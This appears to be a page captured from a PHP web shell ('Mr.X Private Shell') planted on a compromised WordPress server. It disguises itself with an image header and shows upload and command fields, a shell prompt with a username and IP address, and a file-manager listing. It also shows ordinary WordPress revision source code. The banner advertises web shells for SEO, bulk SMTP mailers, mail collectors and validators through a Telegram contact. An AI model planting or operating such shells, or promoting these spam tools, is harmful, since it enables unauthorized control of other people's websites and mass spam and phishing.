����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

airtcsob@216.73.216.143: ~ $
<?php
/**
 * Post revision functions.
 *
 * @package WordPress
 * @subpackage Post_Revisions
 */

/**
 * Determines which fields of posts are to be saved in revisions.
 *
 * @since 2.6.0
 * @since 4.5.0 A `WP_Post` object can now be passed to the `$post` parameter.
 * @since 4.5.0 The optional `$autosave` parameter was deprecated and renamed to `$deprecated`.
 * @access private
 *
 * @param array|WP_Post $post       Optional. A post array or a WP_Post object being processed
 *                                  for insertion as a post revision. Default empty array.
 * @param bool          $deprecated Not used.
 * @return array Array of fields that can be versioned.
 */
function _wp_post_revision_fields( $post = array(), $deprecated = false ) {
	static $fields = null;

	if ( ! is_array( $post ) ) {
		$post = get_post( $post, ARRAY_A );
	}

	if ( is_null( $fields ) ) {
		// Allow these to be versioned.
		$fields = array(
			'post_title'   => __( 'Title' ),
			'post_content' => __( 'Content' ),
			'post_excerpt' => __( 'Excerpt' ),
		);
	}

	/**
	 * Filters the list of fields saved in post revisions.
	 *
	 * Included by default: 'post_title', 'post_content' and 'post_excerpt'.
	 *
	 * Disallowed fields: 'ID', 'post_name', 'post_parent', 'post_date',
	 * 'post_date_gmt', 'post_status', 'post_type', 'comment_count',
	 * and 'post_author'.
	 *
	 * @since 2.6.0
	 * @since 4.5.0 The `$post` parameter was added.
	 *
	 * @param array $fields List of fields to revision. Contains 'post_title',
	 *                      'post_content', and 'post_excerpt' by default.
	 * @param array $post   A post array being processed for insertion as a post revision.
	 */
	$fields = apply_filters( '_wp_post_revision_fields', $fields, $post );

	// WP uses these internally either in versioning or elsewhere - they cannot be versioned.
	foreach ( array( 'ID', 'post_name', 'post_parent', 'post_date', 'post_date_gmt', 'post_status', 'post_type', 'comment_count', 'post_author' ) as $protect ) {
		unset( $fields[ $protect ] );
	}

	return $fields;
}

/**
 * Returns a post array ready to be inserted into the posts table as a post revision.
 *
 * @since 4.5.0
 * @access private
 *
 * @param array|WP_Post $post     Optional. A post array or a WP_Post object to be processed
 *                                for insertion as a post revision. Default empty array.
 * @param bool          $autosave Optional. Is the revision an autosave? Default false.
 * @return array Post array ready to be inserted as a post revision.
 */
function _wp_post_revision_data( $post = array(), $autosave = false ) {
	if ( ! is_array( $post ) ) {
		$post = get_post( $post, ARRAY_A );
	}

	$fields = _wp_post_revision_fields( $post );

	$revision_data = array();

	foreach ( array_intersect( array_keys( $post ), array_keys( $fields ) ) as $field ) {
		$revision_data[ $field ] = $post[ $field ];
	}

	$revision_data['post_parent']   = $post['ID'];
	$revision_data['post_status']   = 'inherit';
	$revision_data['post_type']     = 'revision';
	$revision_data['post_name']     = $autosave ? "$post[ID]-autosave-v1" : "$post[ID]-revision-v1"; // "1" is the revisioning system version.
	$revision_data['post_date']     = isset( $post['post_modified'] ) ? $post['post_modified'] : '';
	$revision_data['post_date_gmt'] = isset( $post['post_modified_gmt'] ) ? $post['post_modified_gmt'] : '';

	return $revision_data;
}

/**
 * Creates a revision for the current version of a post.
 *
 * Typically used immediately after a post update, as every update is a revision,
 * and the most recent revision always matches the current post.
 *
 * @since 2.6.0
 *
 * @param int $post_id The ID of the post to save as a revision.
 * @return int|WP_Error|void Void or 0 if error, new revision ID, if success.
 */
function wp_save_post_revision( $post_id ) {
	if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
		return;
	}

	$post = get_post( $post_id );
	if ( ! $post ) {
		return;
	}

	if ( ! post_type_supports( $post->post_type, 'revisions' ) ) {
		return;
	}

	if ( 'auto-draft' === $post->post_status ) {
		return;
	}

	if ( ! wp_revisions_enabled( $post ) ) {
		return;
	}

	/*
	 * Compare the proposed update with the last stored revision verifying that
	 * they are different, unless a plugin tells us to always save regardless.
	 * If no previous revisions, save one.
	 */
	$revisions = wp_get_post_revisions( $post_id );
	if ( $revisions ) {
		// Grab the last revision, but not an autosave.
		foreach ( $revisions as $revision ) {
			if ( false !== strpos( $revision->post_name, "{$revision->post_parent}-revision" ) ) {
				$last_revision = $revision;
				break;
			}
		}

		/**
		 * Filters whether the post has changed since the last revision.
		 *
		 * By default a revision is saved only if one of the revisioned fields has changed.
		 * This filter can override that so a revision is saved even if nothing has changed.
		 *
		 * @since 3.6.0
		 *
		 * @param bool    $check_for_changes Whether to check for changes before saving a new revision.
		 *                                   Default true.
		 * @param WP_Post $last_revision     The last revision post object.
		 * @param WP_Post $post              The post object.
		 */
		if ( isset( $last_revision ) && apply_filters( 'wp_save_post_revision_check_for_changes', true, $last_revision, $post ) ) {
			$post_has_changed = false;

			foreach ( array_keys( _wp_post_revision_fields( $post ) ) as $field ) {
				if ( normalize_whitespace( $post->$field ) !== normalize_whitespace( $last_revision->$field ) ) {
					$post_has_changed = true;
					break;
				}
			}

			/**
			 * Filters whether a post has changed.
			 *
			 * By default a revision is saved only if one of the revisioned fields has changed.
			 * This filter allows for additional checks to determine if there were changes.
			 *
			 * @since 4.1.0
			 *
			 * @param bool    $post_has_changed Whether the post has changed.
			 * @param WP_Post $last_revision    The last revision post object.
			 * @param WP_Post $post             The post object.
			 */
			$post_has_changed = (bool) apply_filters( 'wp_save_post_revision_post_has_changed', $post_has_changed, $last_revision, $post );

			// Don't save revision if post unchanged.
			if ( ! $post_has_changed ) {
				return;
			}
		}
	}

	$return = _wp_put_post_revision( $post );

	// If a limit for the number of revisions to keep has been set,
	// delete the oldest ones.
	$revisions_to_keep = wp_revisions_to_keep( $post );

	if ( $revisions_to_keep < 0 ) {
		return $return;
	}

	$revisions = wp_get_post_revisions( $post_id, array( 'order' => 'ASC' ) );

	$delete = count( $revisions ) - $revisions_to_keep;

	if ( $delete < 1 ) {
		return $return;
	}

	$revisions = array_slice( $revisions, 0, $delete );

	for ( $i = 0; isset( $revisions[ $i ] ); $i++ ) {
		if ( false !== strpos( $revisions[ $i ]->post_name, 'autosave' ) ) {
			continue;
		}

		wp_delete_post_revision( $revisions[ $i ]->ID );
	}

	return $return;
}

/**
 * Retrieve the autosaved data of the specified post.
 *
 * Returns a post object with the information that was autosaved for the specified post.
 * If the optional $user_id is passed, returns the autosave for that user, otherwise
 * returns the latest autosave.
 *
 * @since 2.6.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $post_id The post ID.
 * @param int $user_id Optional The post author ID.
 * @return WP_Post|false The autosaved data or false on failure or when no autosave exists.
 */
function wp_get_post_autosave( $post_id, $user_id = 0 ) {
	global $wpdb;

	$autosave_name = $post_id . '-autosave-v1';
	$user_id_query = ( 0 !== $user_id ) ? "AND post_author = $user_id" : null;

	// Construct the autosave query.
	$autosave_query = "
		SELECT *
		FROM $wpdb->posts
		WHERE post_parent = %d
		AND post_type = 'revision'
		AND post_status = 'inherit'
		AND post_name   = %s " . $user_id_query . '
		ORDER BY post_date DESC
		LIMIT 1';

	$autosave = $wpdb->get_results(
		$wpdb->prepare(
			$autosave_query,
			$post_id,
			$autosave_name
		)
	);

	if ( ! $autosave ) {
		return false;
	}

	return get_post( $autosave[0] );
}

/**
 * Determines if the specified post is a revision.
 *
 * @since 2.6.0
 *
 * @param int|WP_Post $post Post ID or post object.
 * @return int|false ID of revision's parent on success, false if not a revision.
 */
function wp_is_post_revision( $post ) {
	$post = wp_get_post_revision( $post );
	if ( ! $post ) {
		return false;
	}

	return (int) $post->post_parent;
}

/**
 * Determines if the specified post is an autosave.
 *
 * @since 2.6.0
 *
 * @param int|WP_Post $post Post ID or post object.
 * @return int|false ID of autosave's parent on success, false if not a revision.
 */
function wp_is_post_autosave( $post ) {
	$post = wp_get_post_revision( $post );
	if ( ! $post ) {
		return false;
	}

	if ( false !== strpos( $post->post_name, "{$post->post_parent}-autosave" ) ) {
		return (int) $post->post_parent;
	}

	return false;
}

/**
 * Inserts post data into the posts table as a post revision.
 *
 * @since 2.6.0
 * @access private
 *
 * @param int|WP_Post|array|null $post     Post ID, post object OR post array.
 * @param bool                   $autosave Optional. Is the revision an autosave?
 * @return int|WP_Error WP_Error or 0 if error, new revision ID if success.
 */
function _wp_put_post_revision( $post = null, $autosave = false ) {
	if ( is_object( $post ) ) {
		$post = get_object_vars( $post );
	} elseif ( ! is_array( $post ) ) {
		$post = get_post( $post, ARRAY_A );
	}

	if ( ! $post || empty( $post['ID'] ) ) {
		return new WP_Error( 'invalid_post', __( 'Invalid post ID.' ) );
	}

	if ( isset( $post['post_type'] ) && 'revision' === $post['post_type'] ) {
		return new WP_Error( 'post_type', __( 'Cannot create a revision of a revision' ) );
	}

	$post = _wp_post_revision_data( $post, $autosave );
	$post = wp_slash( $post ); // Since data is from DB.

	$revision_id = wp_insert_post( $post, true );
	if ( is_wp_error( $revision_id ) ) {
		return $revision_id;
	}

	if ( $revision_id ) {
		/**
		 * Fires once a revision has been saved.
		 *
		 * @since 2.6.0
		 *
		 * @param int $revision_id Post revision ID.
		 */
		do_action( '_wp_put_post_revision', $revision_id );
	}

	return $revision_id;
}

/**
 * Gets a post revision.
 *
 * @since 2.6.0
 *
 * @param int|WP_Post $post   The post ID or object.
 * @param string      $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which
 *                            correspond to a WP_Post object, an associative array, or a numeric array,
 *                            respectively. Default OBJECT.
 * @param string      $filter Optional sanitation filter. See sanitize_post().
 * @return WP_Post|array|null WP_Post (or array) on success, or null on failure.
 */
function wp_get_post_revision( &$post, $output = OBJECT, $filter = 'raw' ) {
	$revision = get_post( $post, OBJECT, $filter );
	if ( ! $revision ) {
		return $revision;
	}
	if ( 'revision' !== $revision->post_type ) {
		return null;
	}

	if ( OBJECT === $output ) {
		return $revision;
	} elseif ( ARRAY_A === $output ) {
		$_revision = get_object_vars( $revision );
		return $_revision;
	} elseif ( ARRAY_N === $output ) {
		$_revision = array_values( get_object_vars( $revision ) );
		return $_revision;
	}

	return $revision;
}

/**
 * Restores a post to the specified revision.
 *
 * Can restore a past revision using all fields of the post revision, or only selected fields.
 *
 * @since 2.6.0
 *
 * @param int|WP_Post $revision_id Revision ID or revision object.
 * @param array       $fields      Optional. What fields to restore from. Defaults to all.
 * @return int|false|null Null if error, false if no fields to restore, (int) post ID if success.
 */
function wp_restore_post_revision( $revision_id, $fields = null ) {
	$revision = wp_get_post_revision( $revision_id, ARRAY_A );
	if ( ! $revision ) {
		return $revision;
	}

	if ( ! is_array( $fields ) ) {
		$fields = array_keys( _wp_post_revision_fields( $revision ) );
	}

	$update = array();
	foreach ( array_intersect( array_keys( $revision ), $fields ) as $field ) {
		$update[ $field ] = $revision[ $field ];
	}

	if ( ! $update ) {
		return false;
	}

	$update['ID'] = $revision['post_parent'];

	$update = wp_slash( $update ); // Since data is from DB.

	$post_id = wp_update_post( $update );
	if ( ! $post_id || is_wp_error( $post_id ) ) {
		return $post_id;
	}

	// Update last edit user.
	update_post_meta( $post_id, '_edit_last', get_current_user_id() );

	/**
	 * Fires after a post revision has been restored.
	 *
	 * @since 2.6.0
	 *
	 * @param int $post_id     Post ID.
	 * @param int $revision_id Post revision ID.
	 */
	do_action( 'wp_restore_post_revision', $post_id, $revision['ID'] );

	return $post_id;
}

/**
 * Deletes a revision.
 *
 * Deletes the row from the posts table corresponding to the specified revision.
 *
 * @since 2.6.0
 *
 * @param int|WP_Post $revision_id Revision ID or revision object.
 * @return array|false|WP_Post|WP_Error|null Null or WP_Error if error, deleted post if success.
 */
function wp_delete_post_revision( $revision_id ) {
	$revision = wp_get_post_revision( $revision_id );
	if ( ! $revision ) {
		return $revision;
	}

	$delete = wp_delete_post( $revision->ID );
	if ( $delete ) {
		/**
		 * Fires once a post revision has been deleted.
		 *
		 * @since 2.6.0
		 *
		 * @param int     $revision_id Post revision ID.
		 * @param WP_Post $revision    Post revision object.
		 */
		do_action( 'wp_delete_post_revision', $revision->ID, $revision );
	}

	return $delete;
}

/**
 * Returns all revisions of specified post.
 *
 * @since 2.6.0
 *
 * @see get_children()
 *
 * @param int|WP_Post $post_id Optional. Post ID or WP_Post object. Default is global `$post`.
 * @param array|null  $args    Optional. Arguments for retrieving post revisions. Default null.
 * @return array An array of revisions, or an empty array if none.
 */
function wp_get_post_revisions( $post_id = 0, $args = null ) {
	$post = get_post( $post_id );
	if ( ! $post || empty( $post->ID ) ) {
		return array();
	}

	$defaults = array(
		'order'         => 'DESC',
		'orderby'       => 'date ID',
		'check_enabled' => true,
	);
	$args     = wp_parse_args( $args, $defaults );

	if ( $args['check_enabled'] && ! wp_revisions_enabled( $post ) ) {
		return array();
	}

	$args = array_merge(
		$args,
		array(
			'post_parent' => $post->ID,
			'post_type'   => 'revision',
			'post_status' => 'inherit',
		)
	);

	$revisions = get_children( $args );
	if ( ! $revisions ) {
		return array();
	}

	return $revisions;
}

/**
 * Returns the url for viewing and potentially restoring revisions of a given post.
 *
 * @since 5.9.0
 *
 * @param int|WP_Post $post_id Optional. Post ID or WP_Post object. Default is global `$post`.
 * @return null|string The URL for editing revisions on the given post, otherwise null.
 */
function wp_get_post_revisions_url( $post_id = 0 ) {
	$post = get_post( $post_id );

	if ( ! $post instanceof WP_Post ) {
		return null;
	}

	// If the post is a revision, return early.
	if ( 'revision' === $post->post_type ) {
		return get_edit_post_link( $post );
	}

	if ( ! wp_revisions_enabled( $post ) ) {
		return null;
	}

	$revisions = wp_get_post_revisions( $post->ID, array( 'posts_per_page' => 1 ) );

	if ( 0 === count( $revisions ) ) {
		return null;
	}

	$revision = reset( $revisions );
	return get_edit_post_link( $revision );
}

/**
 * Determine if revisions are enabled for a given post.
 *
 * @since 3.6.0
 *
 * @param WP_Post $post The post object.
 * @return bool True if number of revisions to keep isn't zero, false otherwise.
 */
function wp_revisions_enabled( $post ) {
	return wp_revisions_to_keep( $post ) !== 0;
}

/**
 * Determine how many revisions to retain for a given post.
 *
 * By default, an infinite number of revisions are kept.
 *
 * The constant WP_POST_REVISIONS can be set in wp-config to specify the limit
 * of revisions to keep.
 *
 * @since 3.6.0
 *
 * @param WP_Post $post The post object.
 * @return int The number of revisions to keep.
 */
function wp_revisions_to_keep( $post ) {
	$num = WP_POST_REVISIONS;

	if ( true === $num ) {
		$num = -1;
	} else {
		$num = (int) $num;
	}

	if ( ! post_type_supports( $post->post_type, 'revisions' ) ) {
		$num = 0;
	}

	/**
	 * Filters the number of revisions to save for the given post.
	 *
	 * Overrides the value of WP_POST_REVISIONS.
	 *
	 * @since 3.6.0
	 *
	 * @param int     $num  Number of revisions to store.
	 * @param WP_Post $post Post object.
	 */
	$num = apply_filters( 'wp_revisions_to_keep', $num, $post );

	/**
	 * Filters the number of revisions to save for the given post by its post type.
	 *
	 * Overrides both the value of WP_POST_REVISIONS and the {@see 'wp_revisions_to_keep'} filter.
	 *
	 * The dynamic portion of the hook name, `$post->post_type`, refers to
	 * the post type slug.
	 *
	 * Possible hook names include:
	 *
	 *  - `wp_post_revisions_to_keep`
	 *  - `wp_page_revisions_to_keep`
	 *
	 * @since 5.8.0
	 *
	 * @param int     $num  Number of revisions to store.
	 * @param WP_Post $post Post object.
	 */
	$num = apply_filters( "wp_{$post->post_type}_revisions_to_keep", $num, $post );

	return (int) $num;
}

/**
 * Sets up the post object for preview based on the post autosave.
 *
 * @since 2.7.0
 * @access private
 *
 * @param WP_Post $post
 * @return WP_Post|false
 */
function _set_preview( $post ) {
	if ( ! is_object( $post ) ) {
		return $post;
	}

	$preview = wp_get_post_autosave( $post->ID );

	if ( is_object( $preview ) ) {
		$preview = sanitize_post( $preview );

		$post->post_content = $preview->post_content;
		$post->post_title   = $preview->post_title;
		$post->post_excerpt = $preview->post_excerpt;
	}

	add_filter( 'get_the_terms', '_wp_preview_terms_filter', 10, 3 );
	add_filter( 'get_post_metadata', '_wp_preview_post_thumbnail_filter', 10, 3 );

	return $post;
}

/**
 * Filters the latest content for preview from the post autosave.
 *
 * @since 2.7.0
 * @access private
 */
function _show_post_preview() {
	if ( isset( $_GET['preview_id'] ) && isset( $_GET['preview_nonce'] ) ) {
		$id = (int) $_GET['preview_id'];

		if ( false === wp_verify_nonce( $_GET['preview_nonce'], 'post_preview_' . $id ) ) {
			wp_die( __( 'Sorry, you are not allowed to preview drafts.' ), 403 );
		}

		add_filter( 'the_preview', '_set_preview' );
	}
}

/**
 * Filters terms lookup to set the post format.
 *
 * @since 3.6.0
 * @access private
 *
 * @param array  $terms
 * @param int    $post_id
 * @param string $taxonomy
 * @return array
 */
function _wp_preview_terms_filter( $terms, $post_id, $taxonomy ) {
	$post = get_post();
	if ( ! $post ) {
		return $terms;
	}

	if ( empty( $_REQUEST['post_format'] ) || $post->ID != $post_id
		|| 'post_format' !== $taxonomy || 'revision' === $post->post_type
	) {
		return $terms;
	}

	if ( 'standard' === $_REQUEST['post_format'] ) {
		$terms = array();
	} else {
		$term = get_term_by( 'slug', 'post-format-' . sanitize_key( $_REQUEST['post_format'] ), 'post_format' );
		if ( $term ) {
			$terms = array( $term ); // Can only have one post format.
		}
	}

	return $terms;
}

/**
 * Filters post thumbnail lookup to set the post thumbnail.
 *
 * @since 4.6.0
 * @access private
 *
 * @param null|array|string $value    The value to return - a single metadata value, or an array of values.
 * @param int               $post_id  Post ID.
 * @param string            $meta_key Meta key.
 * @return null|array The default return value or the post thumbnail meta array.
 */
function _wp_preview_post_thumbnail_filter( $value, $post_id, $meta_key ) {
	$post = get_post();
	if ( ! $post ) {
		return $value;
	}

	if ( empty( $_REQUEST['_thumbnail_id'] ) ||
		empty( $_REQUEST['preview_id'] ) ||
		$post->ID != $post_id ||
		'_thumbnail_id' !== $meta_key ||
		'revision' === $post->post_type ||
		$post_id != $_REQUEST['preview_id'] ) {

		return $value;
	}

	$thumbnail_id = (int) $_REQUEST['_thumbnail_id'];
	if ( $thumbnail_id <= 0 ) {
		return '';
	}

	return (string) $thumbnail_id;
}

/**
 * Gets the post revision version.
 *
 * @since 3.6.0
 * @access private
 *
 * @param WP_Post $revision
 * @return int|false
 */
function _wp_get_post_revision_version( $revision ) {
	if ( is_object( $revision ) ) {
		$revision = get_object_vars( $revision );
	} elseif ( ! is_array( $revision ) ) {
		return false;
	}

	if ( preg_match( '/^\d+-(?:autosave|revision)-v(\d+)$/', $revision['post_name'], $matches ) ) {
		return (int) $matches[1];
	}

	return 0;
}

/**
 * Upgrade the revisions author, add the current post as a revision and set the revisions version to 1
 *
 * @since 3.6.0
 * @access private
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param WP_Post $post      Post object
 * @param array   $revisions Current revisions of the post
 * @return bool true if the revisions were upgraded, false if problems
 */
function _wp_upgrade_revisions_of_post( $post, $revisions ) {
	global $wpdb;

	// Add post option exclusively.
	$lock   = "revision-upgrade-{$post->ID}";
	$now    = time();
	$result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` (`option_name`, `option_value`, `autoload`) VALUES (%s, %s, 'no') /* LOCK */", $lock, $now ) );
	if ( ! $result ) {
		// If we couldn't get a lock, see how old the previous lock is.
		$locked = get_option( $lock );
		if ( ! $locked ) {
			// Can't write to the lock, and can't read the lock.
			// Something broken has happened.
			return false;
		}

		if ( $locked > $now - 3600 ) {
			// Lock is not too old: some other process may be upgrading this post. Bail.
			return false;
		}

		// Lock is too old - update it (below) and continue.
	}

	// If we could get a lock, re-"add" the option to fire all the correct filters.
	update_option( $lock, $now );

	reset( $revisions );
	$add_last = true;

	do {
		$this_revision = current( $revisions );
		$prev_revision = next( $revisions );

		$this_revision_version = _wp_get_post_revision_version( $this_revision );

		// Something terrible happened.
		if ( false === $this_revision_version ) {
			continue;
		}

		// 1 is the latest revision version, so we're already up to date.
		// No need to add a copy of the post as latest revision.
		if ( 0 < $this_revision_version ) {
			$add_last = false;
			continue;
		}

		// Always update the revision version.
		$update = array(
			'post_name' => preg_replace( '/^(\d+-(?:autosave|revision))[\d-]*$/', '$1-v1', $this_revision->post_name ),
		);

		/*
		 * If this revision is the oldest revision of the post, i.e. no $prev_revision,
		 * the correct post_author is probably $post->post_author, but that's only a good guess.
		 * Update the revision version only and Leave the author as-is.
		 */
		if ( $prev_revision ) {
			$prev_revision_version = _wp_get_post_revision_version( $prev_revision );

			// If the previous revision is already up to date, it no longer has the information we need :(
			if ( $prev_revision_version < 1 ) {
				$update['post_author'] = $prev_revision->post_author;
			}
		}

		// Upgrade this revision.
		$result = $wpdb->update( $wpdb->posts, $update, array( 'ID' => $this_revision->ID ) );

		if ( $result ) {
			wp_cache_delete( $this_revision->ID, 'posts' );
		}
	} while ( $prev_revision );

	delete_option( $lock );

	// Add a copy of the post as latest revision.
	if ( $add_last ) {
		wp_save_post_revision( $post->ID );
	}

	return true;
}

Filemanager

Name Type Size Permission Actions
ID3 Folder 0755
IXR Folder 0755
PHPMailer Folder 0755
Requests Folder 0755
SimplePie Folder 0755
Text Folder 0755
assets Folder 0755
block-patterns Folder 0755
block-supports Folder 0755
blocks Folder 0755
certificates Folder 0755
css Folder 0755
customize Folder 0755
fonts Folder 0755
images Folder 0755
js Folder 0755
php-compat Folder 0755
pomo Folder 0755
random_compat Folder 0755
rest-api Folder 0755
sitemaps Folder 0755
sodium_compat Folder 0755
theme-compat Folder 0755
widgets Folder 0755
admin-bar.php File 32.69 KB 0644
atomlib.php File 11.67 KB 0644
author-template.php File 16.63 KB 0644
block-editor.php File 18.37 KB 0644
block-i18n.json File 316 B 0644
block-patterns.php File 4.19 KB 0644
block-template-utils.php File 29.57 KB 0644
block-template.php File 10.52 KB 0644
blocks.php File 42.22 KB 0644
bookmark-template.php File 12.6 KB 0644
bookmark.php File 14.97 KB 0644
cache-compat.php File 1.02 KB 0644
cache.php File 9.29 KB 0644
canonical.php File 32.31 KB 0644
capabilities.php File 34.88 KB 0644
category-template.php File 54.4 KB 0644
category.php File 12.41 KB 0644
class-IXR.php File 2.48 KB 0644
class-feed.php File 529 B 0644
class-http.php File 373 B 0644
class-json.php File 42.42 KB 0644
class-oembed.php File 407 B 0644
class-phpass.php File 6.54 KB 0644
class-phpmailer.php File 664 B 0644
class-pop3.php File 20.35 KB 0644
class-requests.php File 29.72 KB 0644
class-simplepie.php File 95.78 KB 0644
class-smtp.php File 457 B 0644
class-snoopy.php File 36.83 KB 0644
class-walker-category-dropdown.php File 2.41 KB 0644
class-walker-category.php File 8.27 KB 0644
class-walker-comment.php File 13.88 KB 0644
class-walker-nav-menu.php File 9.13 KB 0644
class-walker-page-dropdown.php File 2.65 KB 0644
class-walker-page.php File 7.42 KB 0644
class-wp-admin-bar.php File 17.05 KB 0644
class-wp-ajax-response.php File 5.12 KB 0644
class-wp-application-passwords.php File 11.95 KB 0644
class-wp-block-editor-context.php File 890 B 0644
class-wp-block-list.php File 4.61 KB 0644
class-wp-block-parser.php File 14.86 KB 0644
class-wp-block-pattern-categories-registry.php File 4.43 KB 0644
class-wp-block-patterns-registry.php File 5.8 KB 0644
class-wp-block-styles-registry.php File 4.88 KB 0644
class-wp-block-supports.php File 5.17 KB 0644
class-wp-block-template.php File 1.77 KB 0644
class-wp-block-type-registry.php File 4.53 KB 0644
class-wp-block-type.php File 9.27 KB 0644
class-wp-block.php File 7.99 KB 0644
class-wp-comment-query.php File 46.33 KB 0644
class-wp-comment.php File 9.1 KB 0644
class-wp-customize-control.php File 25.11 KB 0644
class-wp-customize-manager.php File 196.56 KB 0644
class-wp-customize-nav-menus.php File 55.45 KB 0644
class-wp-customize-panel.php File 10.19 KB 0644
class-wp-customize-section.php File 10.72 KB 0644
class-wp-customize-setting.php File 29.08 KB 0644
class-wp-customize-widgets.php File 69.52 KB 0644
class-wp-date-query.php File 34.17 KB 0644
class-wp-dependency.php File 2.45 KB 0644
class-wp-editor.php File 69.54 KB 0644
class-wp-embed.php File 15.57 KB 0644
class-wp-error.php File 7.13 KB 0644
class-wp-fatal-error-handler.php File 7.4 KB 0644
class-wp-feed-cache-transient.php File 2.5 KB 0644
class-wp-feed-cache.php File 970 B 0644
class-wp-hook.php File 15.32 KB 0644
class-wp-http-cookie.php File 7.21 KB 0644
class-wp-http-curl.php File 12.1 KB 0644
class-wp-http-encoding.php File 6.51 KB 0644
class-wp-http-ixr-client.php File 3.39 KB 0644
class-wp-http-proxy.php File 5.82 KB 0644
class-wp-http-requests-hooks.php File 1.94 KB 0644
class-wp-http-requests-response.php File 4.24 KB 0644
class-wp-http-response.php File 2.88 KB 0644
class-wp-http-streams.php File 16.26 KB 0644
class-wp-http.php File 38.97 KB 0644
class-wp-image-editor-gd.php File 15.29 KB 0644
class-wp-image-editor-imagick.php File 26.33 KB 0644
class-wp-image-editor.php File 16.26 KB 0644
class-wp-list-util.php File 6.83 KB 0644
class-wp-locale-switcher.php File 4.9 KB 0644
class-wp-locale.php File 13.65 KB 0644
class-wp-matchesmapregex.php File 1.76 KB 0644
class-wp-meta-query.php File 29.47 KB 0644
class-wp-metadata-lazyloader.php File 5.23 KB 0644
class-wp-network-query.php File 18.72 KB 0644
class-wp-network.php File 12.09 KB 0644
class-wp-object-cache.php File 13.23 KB 0644
class-wp-oembed-controller.php File 6.67 KB 0644
class-wp-oembed.php File 29.98 KB 0644
class-wp-paused-extensions-storage.php File 4.81 KB 0644
class-wp-post-type.php File 20.72 KB 0644
class-wp-post.php File 6.27 KB 0644
class-wp-query.php File 135.7 KB 0644
class-wp-recovery-mode-cookie-service.php File 6.31 KB 0644
class-wp-recovery-mode-email-service.php File 10.41 KB 0644
class-wp-recovery-mode-key-service.php File 4.17 KB 0644
class-wp-recovery-mode-link-service.php File 3.32 KB 0644
class-wp-recovery-mode.php File 11.11 KB 0644
class-wp-rewrite.php File 61.49 KB 0644
class-wp-role.php File 2.44 KB 0644
class-wp-roles.php File 8.24 KB 0644
class-wp-session-tokens.php File 7.25 KB 0644
class-wp-simplepie-file.php File 3.18 KB 0644
class-wp-simplepie-sanitize-kses.php File 1.73 KB 0644
class-wp-site-query.php File 29.65 KB 0644
class-wp-site.php File 7.25 KB 0644
class-wp-tax-query.php File 18.99 KB 0644
class-wp-taxonomy.php File 13.41 KB 0644
class-wp-term-query.php File 37.18 KB 0644
class-wp-term.php File 5.15 KB 0644
class-wp-text-diff-renderer-inline.php File 716 B 0644
class-wp-text-diff-renderer-table.php File 16.4 KB 0644
class-wp-theme-json-resolver.php File 14.06 KB 0644
class-wp-theme-json-schema.php File 4.2 KB 0644
class-wp-theme-json.php File 61.31 KB 0644
class-wp-theme.php File 52.56 KB 0644
class-wp-user-meta-session-tokens.php File 2.92 KB 0644
class-wp-user-query.php File 37.18 KB 0644
class-wp-user-request.php File 2.14 KB 0644
class-wp-user.php File 21.7 KB 0644
class-wp-walker.php File 12.71 KB 0644
class-wp-widget-factory.php File 3.24 KB 0644
class-wp-widget.php File 17.72 KB 0644
class-wp-xmlrpc-server.php File 207.94 KB 0644
class-wp.php File 24.67 KB 0644
class.wp-dependencies.php File 13.68 KB 0644
class.wp-scripts.php File 18.5 KB 0644
class.wp-styles.php File 10.63 KB 0644
comment-template.php File 93.81 KB 0644
comment.php File 123.57 KB 0644
compat.php File 14.52 KB 0644
cron.php File 39.9 KB 0644
date.php File 406 B 0644
default-constants.php File 10.02 KB 0644
default-filters.php File 30.73 KB 0644
default-widgets.php File 2.17 KB 0644
deprecated.php File 121.94 KB 0644
embed-template.php File 341 B 0644
embed.php File 36.05 KB 0644
error-protection.php File 4.02 KB 0644
feed-atom-comments.php File 5.32 KB 0644
feed-atom.php File 2.98 KB 0644
feed-rdf.php File 2.61 KB 0644
feed-rss.php File 1.16 KB 0644
feed-rss2-comments.php File 3.97 KB 0644
feed-rss2.php File 3.71 KB 0644
feed.php File 22.43 KB 0644
formatting.php File 318.69 KB 0644
functions.php File 251.33 KB 0644
functions.wp-scripts.php File 13.12 KB 0644
functions.wp-styles.php File 8.37 KB 0644
general-template.php File 155.36 KB 0644
global-styles-and-settings.php File 6.21 KB 0644
http.php File 22.46 KB 0644
https-detection.php File 6.7 KB 0644
https-migration.php File 4.62 KB 0644
kses.php File 67.49 KB 0644
l10n.php File 57.66 KB 0644
link-template.php File 145.71 KB 0644
load.php File 49 KB 0644
locale.php File 162 B 0644
media-template.php File 58.97 KB 0644
media.php File 180.75 KB 0644
meta.php File 61.21 KB 0644
ms-blogs.php File 24.58 KB 0644
ms-default-constants.php File 4.65 KB 0644
ms-default-filters.php File 6.35 KB 0644
ms-deprecated.php File 20.63 KB 0644
ms-files.php File 2.59 KB 0644
ms-functions.php File 91.92 KB 0644
ms-load.php File 19.32 KB 0644
ms-network.php File 3.58 KB 0644
ms-settings.php File 4.03 KB 0644
ms-site.php File 38.68 KB 0644
nav-menu-template.php File 22.75 KB 0644
nav-menu.php File 41.55 KB 0644
option.php File 75.1 KB 0644
pluggable-deprecated.php File 6.12 KB 0644
pluggable.php File 101.96 KB 0644
plugin.php File 33.41 KB 0644
post-formats.php File 6.91 KB 0644
post-template.php File 63.33 KB 0644
post-thumbnail-template.php File 10.63 KB 0644
post.php File 268.67 KB 0644
query.php File 34.94 KB 0644
registration-functions.php File 200 B 0644
registration.php File 200 B 0644
rest-api.php File 93.05 KB 0644
